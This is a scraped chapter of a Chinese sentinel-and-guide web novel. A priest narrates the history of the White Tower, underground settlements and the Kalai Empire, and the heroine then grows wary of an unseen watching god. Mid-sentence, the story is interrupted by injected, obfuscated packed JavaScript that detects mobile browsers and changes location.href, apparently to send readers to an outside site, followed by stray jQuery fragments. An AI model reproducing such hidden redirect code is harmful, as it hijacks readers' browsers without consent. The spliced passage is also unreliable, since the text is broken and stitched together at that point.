当时，第一代哨兵和向导都已经相继去世，他们的后代中虽有一部分人继承了强大的力量，但这些在白塔中长大的异能者们，都天真地以为，凭自己的力量便可以抵御一切的威胁。


    在第一批前往外界探索的异能者中，只有零星数人活着回到了白塔内，这些濒临崩溃的幸存者委婉地告诉众人，当他们拿出了装在密封袋里的种子时，就发现它们已经全数枯死了；就连现成的食物，都因为毒气的侵蚀而产生了变质。


    而在发现这一点前，他们就已经走出了太远。


    有了先驱者的前车之鉴，第二批探索者们在出发前又做了更充分的准备，他们把种子放在了经过实验、能完全隔绝毒气影响的隔离仓中，并小心翼翼地围绕着白塔周围展开了探索。


    但事实证明，光在白塔周边绕圈子，虽然没有危险，却也不太可能有什么收获。


    在白塔附近全部被探索完毕后，又有一批勇士乘着简易的车辆，带着一车的隔离仓去了更加遥远的地方，但那批人却因为遇见了“可怖的怪物”，而带着惨烈的伤亡回到了白塔内。


    这批人的惨状自然劝退了许多单纯为了利益、或者缺乏勇气的探索者，但仍有不少异能者一批接一批地离开白塔，以求为自己没有异能的亲人、朋友或者恋人寻找新的庇护所。


    而这些勇敢的人们，也确实从外界中带回了源源不断的物资和情报。一些小队甚至还在探索中，发现了被洪水冲刷过的旧时代遗迹，并从中搬运回了许多稀有的材料和能源载体。


    但新庇护所仍旧没有出现的迹象，而白塔内的食物和其他生存物资，也已经随着时间的推移，被消耗到了令人心惊的地步。


    在绝大多数异能者的支持下，教皇正式通过了驱逐“没有被神明青睐”的非异能者的提案。


    无数没有力量、又没有相熟的异能者庇护的人，就这样被直接赶出了白塔外，在漫天的毒气中痛苦地死去。


    那一时期的白塔周围，到处都是因来不及处理而堆积成山的尸骨，这也让剩余那些好不容易在和平安定中长大的人们，又再次经历了恐怖的人间炼狱。


    期间，有一位科学家尽管没有异能，却凭借着聪明才智被暂时移出了驱逐人员名单。但他深知，只要像自己这样的非异能者还在白塔内生活，他们就不会有任何的安全可言。


    于是，那名科学家和他的助手们一起，根据白塔内保存的“古代文献”，以及先前无数批探索者们从外界带回的各种“黑科技”，开始试图研发出一种完全密封的飞艇。


    在他们的不懈努力下，预想中的那艘能够载着普通人前往外界的飞艇，竟然真的被成功制造出来了。


    飞艇的建造者们在惊喜之余，也明白他们并没有获得真正的胜利。毕竟，在有明确的目的地之前，就选择乘坐飞艇离开白塔，无异于直接放弃自己的生命。


    就在他们默默等待时机时，一批在很早之前就已经出发了的探索者，突然带着一个惊人的情报回到了白塔——这些探索者们在一处遥远的地下洞穴深处，发现了能让种子生长的空气和土壤。


    为了避免在人群中引起混乱，以教皇为首的白塔高层，并没有直接将新情报公之于众，但那位主持了飞艇建造的科学家，仍然通过内部渠道得知了这一消息。


    在教皇的首肯下，科学家带着所有参与了飞艇建造的助手、研发人员、工程师和工人们，秘密地登上了这艘由他们亲自创造的希望之舟；而那批带回了新情报的哨兵向导们，则在稍作休整后，成了他们此行的护卫和带路人。


    经过了几天几夜的航行后，新建的飞艇终于停在了那处洞穴上空。


    为首的科学家身先士卒，穿着防护服、憋住呼吸第一次走出了飞艇，并在随行哨兵的带领下迅速来到了洞穴深处。


    在科学家后来的自传中，他曾用极其华丽的词藻，形容过自己在吸到第一口来自白塔外的空气时，是多么的神清气爽，又是多么的心潮澎湃、激动万分。


    这些描述固然有文学夸大的成分，但在确认洞穴中没有毒气后，那位科学家也确实立刻就组织随行者们展开了行动。他们在洞穴中四处播种、建造生活区域，同时也积极地研究了周围这些无毒空气的来源。


    很快，他们就发现自己所处的洞穴，其实并没有什么特殊之处。因为，在远离地表的地下区域中，到处都是可以供人类以及其他生物生存的空气。


    而真正需要他们研究的，“只不过”是如何在地下扩张出足够的空间，以及如何用现有的科技手段调节气温和水流，以此来营造出适合植物生长的环境。


    这些技术的研发，当然也需要时间和资源，但和从虚空中凭空创造出空气比起来，它们显然要简单多了。


    在研究员们开始计算、工程师们开始设计图纸、普通工人们不停地挥洒汗水期间，那些能够在地面上自由行动的哨兵向导们，也借用飞艇中的物资，在那里建起了自己的家园。


    在地下世界的人们整理出了一份对现状的报告后，地上的异能者们又分成了两批人，其中一批野心家们决定趁机脱离教皇等人的束缚，在新家园中建立自己的王国；而另一批人则选择将那份报告带回白塔，他们在为教皇尽忠的同时，也为当时的全人类带来了新的希望。


    那些留下来的异能者，很快就在地面上建起了新时代的第一个王国——卡莱王国，王国以国王的姓氏命名，而国王的身份，自然是那批异能者中最为强大的人。


    而在剩下的异能者回到白塔后，一批又一批的团队开始建造属于自己的飞艇，前往不同的方向去寻找天然的地下洞穴，并以此为基础不断在地下开疆扩土。


    眼看着人才不断流失，曾有人建议教皇在白塔内也建造地下世界。但这一提议却被其他神职人员以“亵渎圣地”为由，进行了强烈抵制，提出建议的人也因此下场悲惨。


    不过，为了维持白塔的影响力，教皇也在不断地派自己的亲信们前往新地盘。经过这些人的劝说，在绝大多数新建立的王国的地面上，都竖起了无数模仿白塔而建的宗教场所，人们按照从旧时代流传下来的语言习惯，将它们称作“教堂”。


    在所有这些王国中，唯有卡莱王国的国王，明确拒绝了将自己的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396568|194455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    部分领地让渡给教皇的亲信。于是，那些神职人员便选择转战地下世界，在其中建起了更加微型的教堂。


    在那个网络尚未恢复、信息闭塞的时代，卡莱王国凭借着先发优势，成为了大陆上最为强大的王国。


    随着新时代的发展，各王国之间也开始知道了彼此的情况，但此时，卡莱王国已经具备了断层式的领先，当时的国王带着部下们四处征战，很快就成为了大陆上唯一的帝国。


    而这样的局面，也一直维持到了今天。


    ……


    在听完朱利安神父的讲述后，书未厌皱着眉头，默默消化着这些繁杂的信息。


    帝国和新时代的历史固然令人震撼，但她总觉得，这其中缺少了对一些细节问题的说明。


    比如，既然创立卡莱帝国的最大贡献者，是一位没有异能的科学家，那初代国王、乃至之后的所有贵族们，又为何都是强大的异能者呢？即便科学家本人去不了地面上，他在地下世界应该也会有不少的支持者，这些人都去了哪里？


    而且，按照历史中的记载，即便是强大的哨兵和向导的后代，也有可能是没有异能的普通人，那卡莱帝国现存的贵族们，又为何全部都是无惧毒气的异能者呢？


    还有，既然在卡莱帝国建立之初，哨兵和向导都还是并肩作战的关系，向导的地位又是怎么变成现在这样的？是有人发现了向导畸变的后果、想要预防这种情况吗？还是有其他原因……


    在书未厌沉思期间，白夜已经主动打破了现场的沉默：“神父，请恕我冒昧……我只是有些好奇，现在的白塔内部又是什么样的？您见过教皇本人吗？”


    朱利安维持着平和的微笑，不紧不慢地回复道：“白塔一直都是个美丽又充满生机的地方，有机会的话，你们可以亲自去那里看看，我相信教皇阁下一定会欢迎你们的。


    “至于另一个问题，我确实见过教皇阁下的身影，不过，那位阁下一直都带着面具，也从不在公众面前开过口，所以我没法告诉你们阁下的年龄、长相、性别等信息，也许等你们到了白塔后，就能够知晓更多情况了。”


    “不，我真的只是好奇，随口一问，绝对没有要调查教皇身份的意思。”面对神父的热情，白夜尴尬地流着汗，疯狂摆手道。


    而神父过于明确的邀请，却让书未厌不由警觉了起来，她抬起头，盯着朱利安看了一会，随即有些不安地开口道：“我这边也有一个可能有点冒昧的问题……请问，在您第一次遇到我和伊坦时，您是否早就知道了我们会来找您求助呢？”


    “不必紧张，我的孩子，这并不是什么冒犯的问题，”朱利安温声回道，“是的，我确实在你们到来之前，就收到过来自神明的旨意，不过，即便没有这道旨意，我也是不会拒绝救助任何一个伤员的。”


    听着神父真诚的语气，书未厌却感觉自己的背上开始流出了冷汗。


    难道……这个世界上真的有神明存在吗？她边想边忍不住四处张望着，却感觉有一道视线，正从所有的方向同时朝自己看了过来，这视线无声无息，却也没有丝毫被摆脱的可能。